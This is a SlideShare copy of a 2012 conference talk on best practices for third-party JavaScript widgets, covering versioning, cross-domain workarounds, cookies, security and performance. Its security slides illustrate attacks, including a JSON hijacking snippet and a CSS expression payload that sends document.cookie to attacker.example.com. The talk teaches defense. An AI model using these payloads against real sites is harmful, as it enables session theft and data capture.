SlideShare a Scribd company logo
JavaScript Widget
Development Best
    Practices
   Volkan Özçelik

   volkan@o2js.com

                     2012-07-29 @ jstanbul
               http://jstanbul.org/2012
Who am I?

• CTO, cember.net (%100 acquired by Xing AG; RIP)

• Project Director, livego.com (gone to deadpool, RIP)

• CO-VP of Technology, grou.ps ( http://grou.ps/ )

• JavaScript Engineer, SocialWire ( http://socialwire.com/ )

• J4V45cR1p7 h4x0R, o2.js, ( http://o2js.com/ )
Other Places to Find Me

• http://github.com/v0lkan

• http://geekli.st/volkan

• http://twitter.com/linkibol

• http://linkd.in/v0lkan
Outline
• What is a Widget? / Types of Widgets
• Challenges Involved
  •   Versioning
  •   You are not the host, you are the thief.
  •   Shared Environment
  •   Bumping the Cross-Domain Wall
  •   Not Your Grandma’s Cookies
  •   Security
  •   Performance

• Questions
tar -zxvf 30Min.gz



http://bit.ly/js-widget
 (work in progress)
tar -zxvf 30Min.gz




https://github.com/v0lkan/o2.js/tr
  ee/master/examples/widget-demo
What is a Widget?

• A Distributed Plugin
  • Source Site ( widget provider )
  • Consumer Sites ( publishers )

• Can have a GUI ( weather forecast )

• May not have GUI too ( analytics, statistics )

• Can be Stateful

• Can be Stateless
Versioning Hassle

• Types of Versioning:
  • URL Versioning
  • Version Number as an Init Parameter

• If it ain’t broke, they won’t fix it.
  • When’s the last time you updated that Wordpress theme?
  • Nobody will change that darn version number!
Versioning Hassle
• google‘s ga.js 2 hour cache time;
• Facebook‘s all.js  15 minute cache time;
• twitter‘s widgets.js  30 minute cache time.


                    What part of
            “Far Future Expires Header”
               don’t you understand?!
Versioning Hassle
• Far Future Expires Header
• Self Cache-Revalidating Scripts:
  • A Bootloader Script
  • A JavaScript Beacon:
    • Returns 204 No Content if versions match,
    • Returns an auto-loader if versions do not match.
      • Iframe Refresh
      • window.location.reload(true)
Widget Initialization Flow
Act, but don’t be Seen

• You don’t own publisher’s DOM.

• Leave minimal trace behind.

• Do not slow down publisher.

• Do not pollute global namespace.
Act, but don’t be Seen
• Do not extend Object.prototype or Function.prototype.

• Show love to the Module Pattern.

• Do not slow down publisher:
  • Async initialization,
  • Lazy Load.

• Do not slow down yourself:
  • Native is faster,
  • Use IDs everywhere.
Environment is Shared

• Prefix everything.

• I mean… everything!
Environment is Shared
Cross Domain Boundary
• Modern Methods
 • CORS
 • HTML5 window.postMessage API

• Hacks
 •   Flash Proxy
 •   Hash Fragment Transport
 •   window.name Transport
 •   Iframe inside an Iframe (klein bottle)
 •   Use Publisher’s Server as a Proxy
 •   JSON with Padding
Third Party Cookies

• Can be disabled by default.

• Users may explicitly disable them.

• Ad blocker browser plugins may disable them.

• You cannot rely on their existence.
Third Party Cookies

• Meaning of ‚disabled‛ varies too
  • Firefox & Opera:
    • Server cannot read, client cannot write
    • We’re tossed! (or are we?)
  • IE:
    • Server can read, client cannot write
  • Webkit (Chrome & Safari):
    • Server can read,
    • client can ‚kinda‛ write (iframe post hack)
Third Party Cookies

• Check for 3rd Party Cookie Support First
    • Don’t jump straight into hacks.

• External Windows as a Rescue
  • A pop-up is considered ‚first party‛

• What about Opera & Firefox ?
  • Store session ID as a variable.
  • Pass to the server at each request.
  • Do not store on publisher’s page!
    • Use an IFRAME on API domain for security.
Widget Security

• Bottom Line Up Front
 •   Sanitize everything.
 •   First deny everything, then whitelist known good.
 •   Check referrers, have a list of trusted domains.
 •   Do not trust anyone.

                                        function Anyone(){}
                                      function Publisher(){}
                         Publisher.prototype = new Anyone();
Widget Security
• XSS
  •   Sanitize everything.
  •   Escape < > ; , ‘ ‚ into HTML entities.

• CSRF
  •   Use a CSRF token.

• Denial of Service
  •   Subdomains per publisher ( publisher1.api.example.com ).
  •   Throttle suspicious requests per subdomain.
  •   Best handled on network / hardware layer.

• Session Hijacking
  •   … is a reality.
  •   The only reasonable protection is HTTPS.
  •   Use Multi-Level Authentication.
Widget Security (lesser known)

JSON Hijacking
<script>
var captured = [];
function Array() {
    for (var i = 0; i < 3; i++) {
        this[i] setter = function(val)
                         { captured.push(val); };
    }
}
</script>
<script src="http://api.example.com/products.json"></script>
Widget Security (lesser known)

CSS Expression Hijacking



         var _wd_borderColor =
'#000;x:expression(var i = new Image;
i.src="http://attacker.example.com/?" +
          document.cookie);';
Widget Security (lesser known)

Clickjacking
• Invisible IFRAME positioned on a UI element.

Remedy:

• Framekiller scripts

• X-Frame-Options header

• Request confirmation for sensitive actions

• Register all your publishers
Widget Performance
• Minimize Initial Payload:
  • Tiny boot loader, then load dependencies.

• Lazy load when possible.
• Combine and Minify Assets.
• Use CSS Sprites.
• Defer images (use a default image, then load
  original).
• Minimize # of HTTP Requests.
Widget Performance

• Minimize Repaint and Reflow.

• Rate-limit Server Requests (throttle, debounce).

• Yield with setTimeout(fn, 0).

• Chunk large arrays of instructions.

• Improve Perceived Performance:
  • Be an optimist: act, then verify.
Widget Performance
•   Do not micro-optimize,
•   Do not optimize prematurely,
•   Optimizing without measurement is misleading,
•   It’s hard to measure a third party widget’s performance.
    •   A lot of moving parts involved.
    •   Tools like jsperf.com will not be of much use.
    •   Do not use your 8GB Ram + SSD MacBook for profiling.
    •   Test on an low-grade machine.
• Do not forget mobile!
Thank You!



 Questions?
Ad

Recommended

Java scriptwidgetdevelopmentjstanbul2012
Java scriptwidgetdevelopmentjstanbul2012
Volkan Özçelik
 
Conquering AngularJS Limitations
Conquering AngularJS Limitations
Valeri Karpov
 
Lessons in Open Source from the MongooseJS ODM
Lessons in Open Source from the MongooseJS ODM
Valeri Karpov
 
MongoDB MEAN Stack Webinar October 7, 2015
MongoDB MEAN Stack Webinar October 7, 2015
Valeri Karpov
 
Blazor - The New Silverlight?
Blazor - The New Silverlight?
Christian Nagel
 
Testing your Single Page Application
Testing your Single Page Application
Wekoslav Stefanovski
 
Introduction to PhantomJS
Introduction to PhantomJS
Erol Selitektay
 
Олександр Хотемський “ProtractorJS як інструмент браузерної автоматизації для...
Олександр Хотемський “ProtractorJS як інструмент браузерної автоматизації для...
Dakiry
 
Modern iframe programming
Modern iframe programming
benvinegar
 
jQuery Chicago 2014 - Next-generation JavaScript Testing
jQuery Chicago 2014 - Next-generation JavaScript Testing
Vlad Filippov
 
Tech IT Easy x DevTalk : "Secure Your Coding with OWASP"
Tech IT Easy x DevTalk : "Secure Your Coding with OWASP"
Andi Rustandi Djunaedi
 
Bringing The Sexy Back To WebWorkers
Bringing The Sexy Back To WebWorkers
Corey Clark, Ph.D.
 
Building a Multithreaded Web-Based Game Engine Using HTML5/CSS3 and JavaScrip...
Building a Multithreaded Web-Based Game Engine Using HTML5/CSS3 and JavaScrip...
Corey Clark, Ph.D.
 
Selenium testing
Selenium testing
Jason Myers
 
Testing Single Page Webapp
Testing Single Page Webapp
Akshay Mathur
 
In-browser storage and me
In-browser storage and me
Jason Casden
 
Webdriver.io
Webdriver.io
LinkMe Srl
 
Avoiding Common Pitfalls in Ember.js
Avoiding Common Pitfalls in Ember.js
Alex Speller
 
ClubAJAX Basics - Server Communication
ClubAJAX Basics - Server Communication
Mike Wilcox
 
Testing Mobile JavaScript (Fall 2010
Testing Mobile JavaScript (Fall 2010
jeresig
 
Blazor v1.1
Blazor v1.1
Juan Luis Guerrero Minero
 
Microservices for the Masses with Spring Boot, JHipster, and JWT - Rich Web 2016
Microservices for the Masses with Spring Boot, JHipster, and JWT - Rich Web 2016
Matt Raible
 
jQuery Keynote - Fall 2010
jQuery Keynote - Fall 2010
jeresig
 
Re-Introduction to Third-party Scripting
Re-Introduction to Third-party Scripting
benvinegar
 
Next generation frontend tooling
Next generation frontend tooling
pksjce
 
Build the mobile web you want
Build the mobile web you want
k88hudson
 
JSFoo-2017 Takeaways
JSFoo-2017 Takeaways
Mir Ali
 
Automated Testing with Cucumber, PhantomJS and Selenium
Automated Testing with Cucumber, PhantomJS and Selenium
Dev9Com
 
External JavaScript Widget Development Best Practices
External JavaScript Widget Development Best Practices
Volkan Özçelik
 
orcreatehappyusers
orcreatehappyusers
tutorialsruby
 

More Related Content

What's hot (20)

Modern iframe programming
Modern iframe programming
benvinegar
 
jQuery Chicago 2014 - Next-generation JavaScript Testing
jQuery Chicago 2014 - Next-generation JavaScript Testing
Vlad Filippov
 
Tech IT Easy x DevTalk : "Secure Your Coding with OWASP"
Tech IT Easy x DevTalk : "Secure Your Coding with OWASP"
Andi Rustandi Djunaedi
 
Bringing The Sexy Back To WebWorkers
Bringing The Sexy Back To WebWorkers
Corey Clark, Ph.D.
 
Building a Multithreaded Web-Based Game Engine Using HTML5/CSS3 and JavaScrip...
Building a Multithreaded Web-Based Game Engine Using HTML5/CSS3 and JavaScrip...
Corey Clark, Ph.D.
 
Selenium testing
Selenium testing
Jason Myers
 
Testing Single Page Webapp
Testing Single Page Webapp
Akshay Mathur
 
In-browser storage and me
In-browser storage and me
Jason Casden
 
Webdriver.io
Webdriver.io
LinkMe Srl
 
Avoiding Common Pitfalls in Ember.js
Avoiding Common Pitfalls in Ember.js
Alex Speller
 
ClubAJAX Basics - Server Communication
ClubAJAX Basics - Server Communication
Mike Wilcox
 
Testing Mobile JavaScript (Fall 2010
Testing Mobile JavaScript (Fall 2010
jeresig
 
Blazor v1.1
Blazor v1.1
Juan Luis Guerrero Minero
 
Microservices for the Masses with Spring Boot, JHipster, and JWT - Rich Web 2016
Microservices for the Masses with Spring Boot, JHipster, and JWT - Rich Web 2016
Matt Raible
 
jQuery Keynote - Fall 2010
jQuery Keynote - Fall 2010
jeresig
 
Re-Introduction to Third-party Scripting
Re-Introduction to Third-party Scripting
benvinegar
 
Next generation frontend tooling
Next generation frontend tooling
pksjce
 
Build the mobile web you want
Build the mobile web you want
k88hudson
 
JSFoo-2017 Takeaways
JSFoo-2017 Takeaways
Mir Ali
 
Automated Testing with Cucumber, PhantomJS and Selenium
Automated Testing with Cucumber, PhantomJS and Selenium
Dev9Com
 
Modern iframe programming
Modern iframe programming
benvinegar
 
jQuery Chicago 2014 - Next-generation JavaScript Testing
jQuery Chicago 2014 - Next-generation JavaScript Testing
Vlad Filippov
 
Tech IT Easy x DevTalk : "Secure Your Coding with OWASP"
Tech IT Easy x DevTalk : "Secure Your Coding with OWASP"
Andi Rustandi Djunaedi
 
Bringing The Sexy Back To WebWorkers
Bringing The Sexy Back To WebWorkers
Corey Clark, Ph.D.
 
Building a Multithreaded Web-Based Game Engine Using HTML5/CSS3 and JavaScrip...
Building a Multithreaded Web-Based Game Engine Using HTML5/CSS3 and JavaScrip...
Corey Clark, Ph.D.
 
Selenium testing
Selenium testing
Jason Myers
 
Testing Single Page Webapp
Testing Single Page Webapp
Akshay Mathur
 
In-browser storage and me
In-browser storage and me
Jason Casden
 
Avoiding Common Pitfalls in Ember.js
Avoiding Common Pitfalls in Ember.js
Alex Speller
 
ClubAJAX Basics - Server Communication
ClubAJAX Basics - Server Communication
Mike Wilcox
 
Testing Mobile JavaScript (Fall 2010
Testing Mobile JavaScript (Fall 2010
jeresig
 
Microservices for the Masses with Spring Boot, JHipster, and JWT - Rich Web 2016
Microservices for the Masses with Spring Boot, JHipster, and JWT - Rich Web 2016
Matt Raible
 
jQuery Keynote - Fall 2010
jQuery Keynote - Fall 2010
jeresig
 
Re-Introduction to Third-party Scripting
Re-Introduction to Third-party Scripting
benvinegar
 
Next generation frontend tooling
Next generation frontend tooling
pksjce
 
Build the mobile web you want
Build the mobile web you want
k88hudson
 
JSFoo-2017 Takeaways
JSFoo-2017 Takeaways
Mir Ali
 
Automated Testing with Cucumber, PhantomJS and Selenium
Automated Testing with Cucumber, PhantomJS and Selenium
Dev9Com
 

Similar to External JavaScript Widget Development Best Practices (updated) (v.1.1) (20)

External JavaScript Widget Development Best Practices
External JavaScript Widget Development Best Practices
Volkan Özçelik
 
orcreatehappyusers
orcreatehappyusers
tutorialsruby
 
orcreatehappyusers
orcreatehappyusers
tutorialsruby
 
Android lessons you won't learn in school
Android lessons you won't learn in school
Michael Galpin
 
Usersnap and the javascript magic behind the scenes - ViennaJS
Usersnap and the javascript magic behind the scenes - ViennaJS
Usersnap
 
How to Contribute to Apache Usergrid
How to Contribute to Apache Usergrid
David M. Johnson
 
Do you lose sleep at night?
Do you lose sleep at night?
Nathan Van Gheem
 
Something wicked this way comes - CONFidence
Something wicked this way comes - CONFidence
Krzysztof Kotowicz
 
Krzysztof kotowicz. something wicked this way comes
Krzysztof kotowicz. something wicked this way comes
Yury Chemerkin
 
Hacking sites for fun and profit
Hacking sites for fun and profit
David Stockton
 
A 20 minute introduction to AngularJS for XPage developers
A 20 minute introduction to AngularJS for XPage developers
Mark Leusink
 
Hacking sites for fun and profit
Hacking sites for fun and profit
David Stockton
 
Tech io spa_angularjs_20130814_v0.9.5
Tech io spa_angularjs_20130814_v0.9.5
Ganesh Kondal
 
Streams API (Web Engines Hackfest 2015)
Streams API (Web Engines Hackfest 2015)
Igalia
 
Jinx - Malware 2.0
Jinx - Malware 2.0
Itzik Kotler
 
Angular SEO
Angular SEO
Tiang Cheng
 
Masterin Large Scale Java Script Applications
Masterin Large Scale Java Script Applications
Fabian Jakobs
 
20120306 dublin js
20120306 dublin js
Richard Rodger
 
Selenium Tips & Tricks - StarWest 2015
Selenium Tips & Tricks - StarWest 2015
Andrew Krug
 
Доклад Михаила Егорова на PHDays
Доклад Михаила Егорова на PHDays
ru_Parallels
 
External JavaScript Widget Development Best Practices
External JavaScript Widget Development Best Practices
Volkan Özçelik
 
Android lessons you won't learn in school
Android lessons you won't learn in school
Michael Galpin
 
Usersnap and the javascript magic behind the scenes - ViennaJS
Usersnap and the javascript magic behind the scenes - ViennaJS
Usersnap
 
How to Contribute to Apache Usergrid
How to Contribute to Apache Usergrid
David M. Johnson
 
Do you lose sleep at night?
Do you lose sleep at night?
Nathan Van Gheem
 
Something wicked this way comes - CONFidence
Something wicked this way comes - CONFidence
Krzysztof Kotowicz
 
Krzysztof kotowicz. something wicked this way comes
Krzysztof kotowicz. something wicked this way comes
Yury Chemerkin
 
Hacking sites for fun and profit
Hacking sites for fun and profit
David Stockton
 
A 20 minute introduction to AngularJS for XPage developers
A 20 minute introduction to AngularJS for XPage developers
Mark Leusink
 
Hacking sites for fun and profit
Hacking sites for fun and profit
David Stockton
 
Tech io spa_angularjs_20130814_v0.9.5
Tech io spa_angularjs_20130814_v0.9.5
Ganesh Kondal
 
Streams API (Web Engines Hackfest 2015)
Streams API (Web Engines Hackfest 2015)
Igalia
 
Jinx - Malware 2.0
Jinx - Malware 2.0
Itzik Kotler
 
Masterin Large Scale Java Script Applications
Masterin Large Scale Java Script Applications
Fabian Jakobs
 
Selenium Tips & Tricks - StarWest 2015
Selenium Tips & Tricks - StarWest 2015
Andrew Krug
 
Доклад Михаила Егорова на PHDays
Доклад Михаила Егорова на PHDays
ru_Parallels
 
Ad

Recently uploaded (20)

The Future of Product Management in AI ERA.pdf
The Future of Product Management in AI ERA.pdf
Alyona Owens
 
Coordinated Disclosure for ML - What's Different and What's the Same.pdf
Coordinated Disclosure for ML - What's Different and What's the Same.pdf
Priyanka Aash
 
Cyber Defense Matrix Workshop - RSA Conference
Cyber Defense Matrix Workshop - RSA Conference
Priyanka Aash
 
Python Conference Singapore - 19 Jun 2025
Python Conference Singapore - 19 Jun 2025
ninefyi
 
CapCut Pro Crack For PC Latest Version {Fully Unlocked} 2025
CapCut Pro Crack For PC Latest Version {Fully Unlocked} 2025
pcprocore
 
A Constitutional Quagmire - Ethical Minefields of AI, Cyber, and Privacy.pdf
A Constitutional Quagmire - Ethical Minefields of AI, Cyber, and Privacy.pdf
Priyanka Aash
 
Salesforce Summer '25 Release Frenchgathering.pptx.pdf
Salesforce Summer '25 Release Frenchgathering.pptx.pdf
yosra Saidani
 
You are not excused! How to avoid security blind spots on the way to production
You are not excused! How to avoid security blind spots on the way to production
Michele Leroux Bustamante
 
“MPU+: A Transformative Solution for Next-Gen AI at the Edge,” a Presentation...
“MPU+: A Transformative Solution for Next-Gen AI at the Edge,” a Presentation...
Edge AI and Vision Alliance
 
Hyderabad MuleSoft In-Person Meetup (June 21, 2025) Slides
Hyderabad MuleSoft In-Person Meetup (June 21, 2025) Slides
Ravi Tamada
 
2025_06_18 - OpenMetadata Community Meeting.pdf
2025_06_18 - OpenMetadata Community Meeting.pdf
OpenMetadata
 
cnc-processing-centers-centateq-p-110-en.pdf
cnc-processing-centers-centateq-p-110-en.pdf
AmirStern2
 
"Scaling in space and time with Temporal", Andriy Lupa.pdf
"Scaling in space and time with Temporal", Andriy Lupa.pdf
Fwdays
 
Security Tips for Enterprise Azure Solutions
Security Tips for Enterprise Azure Solutions
Michele Leroux Bustamante
 
AI Agents and FME: A How-to Guide on Generating Synthetic Metadata
AI Agents and FME: A How-to Guide on Generating Synthetic Metadata
Safe Software
 
Cracking the Code - Unveiling Synergies Between Open Source Security and AI.pdf
Cracking the Code - Unveiling Synergies Between Open Source Security and AI.pdf
Priyanka Aash
 
9-1-1 Addressing: End-to-End Automation Using FME
9-1-1 Addressing: End-to-End Automation Using FME
Safe Software
 
10 Key Challenges for AI within the EU Data Protection Framework.pdf
10 Key Challenges for AI within the EU Data Protection Framework.pdf
Priyanka Aash
 
Enhance GitHub Copilot using MCP - Enterprise version.pdf
Enhance GitHub Copilot using MCP - Enterprise version.pdf
Nilesh Gule
 
AI vs Human Writing: Can You Tell the Difference?
AI vs Human Writing: Can You Tell the Difference?
Shashi Sathyanarayana, Ph.D
 
The Future of Product Management in AI ERA.pdf
The Future of Product Management in AI ERA.pdf
Alyona Owens
 
Coordinated Disclosure for ML - What's Different and What's the Same.pdf
Coordinated Disclosure for ML - What's Different and What's the Same.pdf
Priyanka Aash
 
Cyber Defense Matrix Workshop - RSA Conference
Cyber Defense Matrix Workshop - RSA Conference
Priyanka Aash
 
Python Conference Singapore - 19 Jun 2025
Python Conference Singapore - 19 Jun 2025
ninefyi
 
CapCut Pro Crack For PC Latest Version {Fully Unlocked} 2025
CapCut Pro Crack For PC Latest Version {Fully Unlocked} 2025
pcprocore
 
A Constitutional Quagmire - Ethical Minefields of AI, Cyber, and Privacy.pdf
A Constitutional Quagmire - Ethical Minefields of AI, Cyber, and Privacy.pdf
Priyanka Aash
 
Salesforce Summer '25 Release Frenchgathering.pptx.pdf
Salesforce Summer '25 Release Frenchgathering.pptx.pdf
yosra Saidani
 
You are not excused! How to avoid security blind spots on the way to production
You are not excused! How to avoid security blind spots on the way to production
Michele Leroux Bustamante
 
“MPU+: A Transformative Solution for Next-Gen AI at the Edge,” a Presentation...
“MPU+: A Transformative Solution for Next-Gen AI at the Edge,” a Presentation...
Edge AI and Vision Alliance
 
Hyderabad MuleSoft In-Person Meetup (June 21, 2025) Slides
Hyderabad MuleSoft In-Person Meetup (June 21, 2025) Slides
Ravi Tamada
 
2025_06_18 - OpenMetadata Community Meeting.pdf
2025_06_18 - OpenMetadata Community Meeting.pdf
OpenMetadata
 
cnc-processing-centers-centateq-p-110-en.pdf
cnc-processing-centers-centateq-p-110-en.pdf
AmirStern2
 
"Scaling in space and time with Temporal", Andriy Lupa.pdf
"Scaling in space and time with Temporal", Andriy Lupa.pdf
Fwdays
 
Security Tips for Enterprise Azure Solutions
Security Tips for Enterprise Azure Solutions
Michele Leroux Bustamante
 
AI Agents and FME: A How-to Guide on Generating Synthetic Metadata
AI Agents and FME: A How-to Guide on Generating Synthetic Metadata
Safe Software
 
Cracking the Code - Unveiling Synergies Between Open Source Security and AI.pdf
Cracking the Code - Unveiling Synergies Between Open Source Security and AI.pdf
Priyanka Aash
 
9-1-1 Addressing: End-to-End Automation Using FME
9-1-1 Addressing: End-to-End Automation Using FME
Safe Software
 
10 Key Challenges for AI within the EU Data Protection Framework.pdf
10 Key Challenges for AI within the EU Data Protection Framework.pdf
Priyanka Aash
 
Enhance GitHub Copilot using MCP - Enterprise version.pdf
Enhance GitHub Copilot using MCP - Enterprise version.pdf
Nilesh Gule
 
AI vs Human Writing: Can You Tell the Difference?
AI vs Human Writing: Can You Tell the Difference?
Shashi Sathyanarayana, Ph.D
 
Ad

External JavaScript Widget Development Best Practices (updated) (v.1.1)

  • 1. JavaScript Widget Development Best Practices Volkan Özçelik [email protected] 2012-07-29 @ jstanbul http://jstanbul.org/2012
  • 2. Who am I? • CTO, cember.net (%100 acquired by Xing AG; RIP) • Project Director, livego.com (gone to deadpool, RIP) • CO-VP of Technology, grou.ps ( http://grou.ps/ ) • JavaScript Engineer, SocialWire ( http://socialwire.com/ ) • J4V45cR1p7 h4x0R, o2.js, ( http://o2js.com/ )
  • 3. Other Places to Find Me • http://github.com/v0lkan • http://geekli.st/volkan • http://twitter.com/linkibol • http://linkd.in/v0lkan
  • 4. Outline • What is a Widget? / Types of Widgets • Challenges Involved • Versioning • You are not the host, you are the thief. • Shared Environment • Bumping the Cross-Domain Wall • Not Your Grandma’s Cookies • Security • Performance • Questions
  • 7. What is a Widget? • A Distributed Plugin • Source Site ( widget provider ) • Consumer Sites ( publishers ) • Can have a GUI ( weather forecast ) • May not have GUI too ( analytics, statistics ) • Can be Stateful • Can be Stateless
  • 8. Versioning Hassle • Types of Versioning: • URL Versioning • Version Number as an Init Parameter • If it ain’t broke, they won’t fix it. • When’s the last time you updated that Wordpress theme? • Nobody will change that darn version number!
  • 9. Versioning Hassle • google‘s ga.js 2 hour cache time; • Facebook‘s all.js  15 minute cache time; • twitter‘s widgets.js  30 minute cache time. What part of “Far Future Expires Header” don’t you understand?!
  • 10. Versioning Hassle • Far Future Expires Header • Self Cache-Revalidating Scripts: • A Bootloader Script • A JavaScript Beacon: • Returns 204 No Content if versions match, • Returns an auto-loader if versions do not match. • Iframe Refresh • window.location.reload(true)
  • 12. Act, but don’t be Seen • You don’t own publisher’s DOM. • Leave minimal trace behind. • Do not slow down publisher. • Do not pollute global namespace.
  • 13. Act, but don’t be Seen • Do not extend Object.prototype or Function.prototype. • Show love to the Module Pattern. • Do not slow down publisher: • Async initialization, • Lazy Load. • Do not slow down yourself: • Native is faster, • Use IDs everywhere.
  • 14. Environment is Shared • Prefix everything. • I mean… everything!
  • 16. Cross Domain Boundary • Modern Methods • CORS • HTML5 window.postMessage API • Hacks • Flash Proxy • Hash Fragment Transport • window.name Transport • Iframe inside an Iframe (klein bottle) • Use Publisher’s Server as a Proxy • JSON with Padding
  • 17. Third Party Cookies • Can be disabled by default. • Users may explicitly disable them. • Ad blocker browser plugins may disable them. • You cannot rely on their existence.
  • 18. Third Party Cookies • Meaning of ‚disabled‛ varies too • Firefox & Opera: • Server cannot read, client cannot write • We’re tossed! (or are we?) • IE: • Server can read, client cannot write • Webkit (Chrome & Safari): • Server can read, • client can ‚kinda‛ write (iframe post hack)
  • 19. Third Party Cookies • Check for 3rd Party Cookie Support First • Don’t jump straight into hacks. • External Windows as a Rescue • A pop-up is considered ‚first party‛ • What about Opera & Firefox ? • Store session ID as a variable. • Pass to the server at each request. • Do not store on publisher’s page! • Use an IFRAME on API domain for security.
  • 20. Widget Security • Bottom Line Up Front • Sanitize everything. • First deny everything, then whitelist known good. • Check referrers, have a list of trusted domains. • Do not trust anyone. function Anyone(){} function Publisher(){} Publisher.prototype = new Anyone();
  • 21. Widget Security • XSS • Sanitize everything. • Escape < > ; , ‘ ‚ into HTML entities. • CSRF • Use a CSRF token. • Denial of Service • Subdomains per publisher ( publisher1.api.example.com ). • Throttle suspicious requests per subdomain. • Best handled on network / hardware layer. • Session Hijacking • … is a reality. • The only reasonable protection is HTTPS. • Use Multi-Level Authentication.
  • 22. Widget Security (lesser known) JSON Hijacking <script> var captured = []; function Array() { for (var i = 0; i < 3; i++) { this[i] setter = function(val) { captured.push(val); }; } } </script> <script src="http://api.example.com/products.json"></script>
  • 23. Widget Security (lesser known) CSS Expression Hijacking var _wd_borderColor = '#000;x:expression(var i = new Image; i.src="http://attacker.example.com/?" + document.cookie);';
  • 24. Widget Security (lesser known) Clickjacking • Invisible IFRAME positioned on a UI element. Remedy: • Framekiller scripts • X-Frame-Options header • Request confirmation for sensitive actions • Register all your publishers
  • 25. Widget Performance • Minimize Initial Payload: • Tiny boot loader, then load dependencies. • Lazy load when possible. • Combine and Minify Assets. • Use CSS Sprites. • Defer images (use a default image, then load original). • Minimize # of HTTP Requests.
  • 26. Widget Performance • Minimize Repaint and Reflow. • Rate-limit Server Requests (throttle, debounce). • Yield with setTimeout(fn, 0). • Chunk large arrays of instructions. • Improve Perceived Performance: • Be an optimist: act, then verify.
  • 27. Widget Performance • Do not micro-optimize, • Do not optimize prematurely, • Optimizing without measurement is misleading, • It’s hard to measure a third party widget’s performance. • A lot of moving parts involved. • Tools like jsperf.com will not be of much use. • Do not use your 8GB Ram + SSD MacBook for profiling. • Test on an low-grade machine. • Do not forget mobile!